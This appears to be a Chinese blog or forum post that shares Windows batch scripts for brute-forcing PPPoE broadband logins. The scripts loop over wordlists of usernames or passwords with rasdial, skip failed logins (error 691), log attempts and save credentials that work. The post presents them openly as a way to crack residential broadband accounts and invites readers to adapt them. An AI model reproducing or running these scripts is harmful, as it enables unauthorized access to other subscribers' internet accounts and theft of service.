先把你所有的用户名放到一个名叫pass.txt中,密码每行一个,并与bat文件放在同一个文件夹下。result.txt是自动生成的,主要是记录拨号的日志。
将下面代码保存为*.bat文件,如pop.bat
@echo off
echo 开始PPPoE密码穷举!
for /f "delims=, tokens=1" %%i in (pass.txt) do echo %%i&rasdial 宽带连接名称 宽带用户名 %%i >>result.txt
echo "没有可用的密码了,请添加更多拨号密码到pass.txt文件中!"
pause
如果是密码一样,穷举宽带的帐号其实就是将后面的用户名和密码换个位置而已,具体批处理代码:
@echo off
echo 开始穷举咯!!!
for /f "delims=, tokens=1" %%i in (pass.txt) do echo %%i&rasdial 宽带连接名称 %%i 宽带密码 >>result.txt
echo "没有可用的账号了,得添加拨号用户名了!!!"
pause
下面是一段网上的代码,Pop没有测试,主要是批处理穷举的速度太慢了,有兴趣的网友可以测试一下代码。
分享一个自己写的脚本,作用是根据用户名密码组合进行连续PPPOE拨号(可用于小区宽带暴力破解),WIN7可用,XP因缺少CHOICE命令需要改动部分,如果有需要可以直接改改拿来用。
将以下代码复制到记事本保存为cmd或bat格式文件运行即可,文件末尾为用户名密码组合,可以自己输入,也可以用字典工具生成。
需要改动的地方:
1、本地连接的名字要改成LAN,宽带连接的名字需要改成RAS;
2、XP用户将红色部分代码前的rem去掉,并删除绿色部分代码即可;
3、如有对英文不爽的朋友,请替换。。。哈哈
宽带自动拨号批处理 代码内容:
//代码开始
@echo off
rem initial setting
color a
title RAS Dialer
setlocal EnableDelayedExpansion
mode con:cols=72 lines=22
:initial
echo Disconnecting exist connection...
rasdial ras /disconnect
echo Please Wait...Network interface is initialazing...
netsh interface set interface lan disable
echo Local Area Connection is restarting...
netsh interface set interface lan enable
echo Local Area Connection has ready for DIAL...
echo Please follow the step below...
:start
color a
echo ----------------------------------------------------------------------
echo --------------------------Dialer For RAS------------------------------
echo ----------------------------------------------------------------------
echo Please choose method to Dial:
echo 1. Automatic Dial
echo 2. Manual Dial
echo x. Exit Dialer
choice /c 12x /n /m Select: /t 10 /d 1
if %errorlevel%==1 cls & goto auto
if %errorlevel%==2 cls & goto manual
if %errorlevel%==3 goto eof
rem set /p se=Select:
remif %se%==1 cls & goto auto
rem if %se%==2 cls & goto manual
rem if %se%==3 goto eof
rem goto start
:manual
color a
set x=
set y=
set z=
echo ----------------------------------------------------------------------
echo --------------------------Dialer For RAS------------------------------
echo ----------------------------------------------------------------------
echo Please select your choice or enter your username and password...
echo x. Exit Dialer
echo m. Goto Main Menu
echo Type "SPACE" at first character to instead "yhct2101"
echo If PASSWORD is 8888 ...Just ignore them...
set /p x=PPPoE Username:
set z=%x%
if "%x:~0,1%"=="x" goto eof
if "%x:~0,1%"=="m" cls & goto start
if "%x:~0,1%"==" " set z=yhct2101%x:~1,10%
set /p y=PPPoE Password:
if "%y:~0,1%"=="x" goto eof
if "%y%"=="" set y=8888
echo .............................................................
echo Try with username "%z%" and password "%y%"
echo .............................................................
rasdial ras %z% %y% > nul
set tt=%errorlevel%
if !errorlevel!==0 (
color d
echo ______________________________________________________________________
echo PPPoE session create successful !
echo ______________________________________________________________________
echo Press X to EXIT the Dialer...
echo Press A to append username and password to Auto Dial Database...
choice /c xam /n /m "Exit(X) or Append(A) or MainMenu(M):"
if !errorlevel!==1 goto eof
if !errorlevel!==2 goto append
if !errorlevel!==3 cls & goto start
)
color c
echo Error %tt% occur !
echo press any key to continue manual dial...
pause>nul
color a
goto manual
:auto
cls
echo Autodialer is trying connect with the database data......
for /F "skip=142 tokens=1,2" %%i in (%~dp0\D.bat) do (
echo Trying with username %%i and password %%j
rasdial ras %%i %%j>nul
if !errorlevel!==691 echo Error 691...Trying with next...
if !errorlevel!==0 (
echo Success with username "%%i" and password "%%j" !
goto success
)
if not !errorlevel!==691 set t1=!errorlevel! & goto err
)
echo All USERNAME and PASSWORD tried but faild to authenticate...
echo Press any key back to main menu...
pause>nul
cls
goto start
:err
color c
echo -----------------------------------------------------------------------
echo Error %t1% occur !!!
echo Dialer will back to main menu...
echo For more help:
echo Type 'hh netcfg.chm'
echo In help:
echo 1st.click Troubleshooting
echo 2nd.click Error Messages
echo 3rd.click %errorlevel%
echo -----------------------------------------------------------------------
echo Press any key back to main menu...
pause>nul
cls
goto start
:append
echo
cls
echo user:%z% and pass:%y% will be append to the database...
echo %z% %y% >> %~f0
echo Append Successful!
pause > nul
goto eof
:success
color d
echo ______________________________________________________________________
echo PPPoE connection has Eastablished with AUTO mode!!!
echo ______________________________________________________________________
echo Press any key to EXIT the Dialer...
pause>nul
goto eof
:eof
endlocal
exit
USERNAME PASSWORD
第一个用户名 密码
第二个用户名 密码
......
最后的用户名 密码
//代码结束